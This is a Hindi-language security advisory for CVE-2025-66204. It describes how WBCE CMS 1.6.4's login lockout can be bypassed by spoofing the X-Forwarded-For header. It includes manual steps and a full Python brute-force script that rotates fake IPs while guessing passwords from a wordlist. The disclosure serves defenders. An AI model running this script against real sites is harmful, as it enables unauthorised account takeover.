
CVE-2025-66204 - WBCE CMS X-Forwarded-For हेडर का उपयोग करके ब्रूट-फोर्स सुरक्षा को बायपास करने की अनुमति देता है
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2025-66204 |
| गंभीरता | MEDIUM |
| परामर्श | परामर्श देखें |
| खोजकर्ता | Lukasz Rybak |
WBCE CMS 1.6.4 में ब्रूट-फोर्स सुरक्षा बायपास मौजूद है। लॉगिन थ्रॉटलिंग तंत्र 5 असफल लॉगिन प्रयासों के बाद एक IP पते को ब्लॉक कर देता है। हालाँकि, एप्लिकेशन X-Forwarded-For हेडर पर पूरी तरह भरोसा करता है, बिना उसे सत्यापित किए या उसके उपयोग को प्रतिबंधित किए।
प्रत्येक अनुरोध पर X-Forwarded-For को संशोधित करके, एक हमलावर काउंटर को अनिश्चित काल तक रीसेट कर सकता है और असीमित पासवर्ड अनुमान लगाने के प्रयास प्राप्त कर सकता है, जिससे सभी ब्रूट-फोर्स सुरक्षा प्रभावी रूप से बायपास हो जाती है।
WBCE CMS निम्नलिखित तर्क का उपयोग करके क्लाइंट IP का निर्धारण करता है:
हालाँकि WBCE डिफ़ॉल्ट रूप से किसी रिवर्स प्रॉक्सी के पीछे नहीं चल रहा है, फिर भी लॉगिन एंडपॉइंट X-Forwarded-For को पार्स करता है, जब भी वह मौजूद होता है, भले ही उसे क्लाइंट द्वारा मैन्युअल रूप से जोड़ा गया हो।
चूँकि एप्लिकेशन यह सत्यापित नहीं करता कि अनुरोध किसी विश्वसनीय प्रॉक्सी से उत्पन्न हुआ है, एक हमलावर किसी भी मनमाने IP पते के साथ अपना स्वयं का X-Forwarded-For हेडर इंजेक्ट कर सकता है।
इसका परिणाम यह होता है:
यह व्यवहार WBCE CMS के सामने बिना किसी रिवर्स प्रॉक्सी के, एक साफ़, डिफ़ॉल्ट इंस्टॉलेशन पर दोहराया जा सकता है।
चरण
गलत पासवर्ड के साथ लॉगिन करने का प्रयास करें और हेडर भेजें:
X-Forwarded-For: 10.0.0.10
लॉकआउट होने तक (5 प्रयासों के बाद) दोहराएँ।
हेडर बदलें:
X-Forwarded-For: 10.0.0.11
लॉगिन प्रयास रीसेट हो जाते हैं और फिर से अनुमति मिल जाती है।
10.0.0.x के माध्यम से IP घुमाते रहें और बिना किसी सीमा के ब्रूट-फोर्स करें।
स्वचालित PoC स्क्रिप्ट
मैंने एक Python स्क्रिप्ट बनाई है जो हर चार प्रयासों में स्पूफ़ किए गए IP को घुमाते हुए और सफल लॉगिन का पता लगाते हुए स्वचालित रूप से हमले को अंजाम देती है।
...
यह सुरक्षा के पूर्ण बायपास को सिद्ध करता है।
import requests
# ==========================
# CONFIGURATION
# ==========================
TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"
# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"
WORDLIST = "wordlist.txt"
ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"
MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."
# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
session = requests.Session()
if USE_BURP:
session.proxies.update(PROXIES)
session.verify = False
# ==========================
# LOGIN REQUEST
# ==========================
def try_login(ip, password):
"""Send one login attempt with spoofed X-Forwarded-For."""
headers = {
"X-Forwarded-For": ip,
"User-Agent": "WBCE-Bruteforce-POC",
}
data = {
USERNAME_META_FIELD: USERNAME_FIELDNAME,
PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
USERNAME_FIELDNAME: USERNAME,
PASSWORD_FIELDNAME: password,
"url": "",
"submit": "Login",
}
resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
text = resp.text
failed = ERROR_STRING in text
blocked = BLOCK_STRING in text
success = not failed and not blocked
return success, failed, blocked, resp
# ==========================
# MAIN ROUTINE
# ==========================
def main():
print("[*] Loading wordlist...")
with open(WORDLIST, "r", encoding="utf-8") as f:
passwords = [p.strip() for p in f if p.strip()]
print(f"[*] Loaded {len(passwords)} passwords.\n")
current_ip_counter = 1
attempts_with_ip = 0
for attempt_no, password in enumerate(passwords, start=1):
ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
success, failed, blocked, resp = try_login(ip, password)
print(
f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
f"| failed={failed} blocked={blocked}"
)
if success:
print("\n[+] SUCCESSFUL LOGIN!")
print(f" Username: {USERNAME}")
print(f" Password: {password}")
print(f" IP used : {ip}")
return
attempts_with_ip += 1
# Switch spoofed IP after lockout threshold
if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
current_ip_counter += 1
attempts_with_ip = 0
print("\n[-] Password not found in wordlist.")
if __name__ == "__main__":
main()
यह CVE समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारीपूर्वक प्रकट किया गया था। यहाँ दी गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।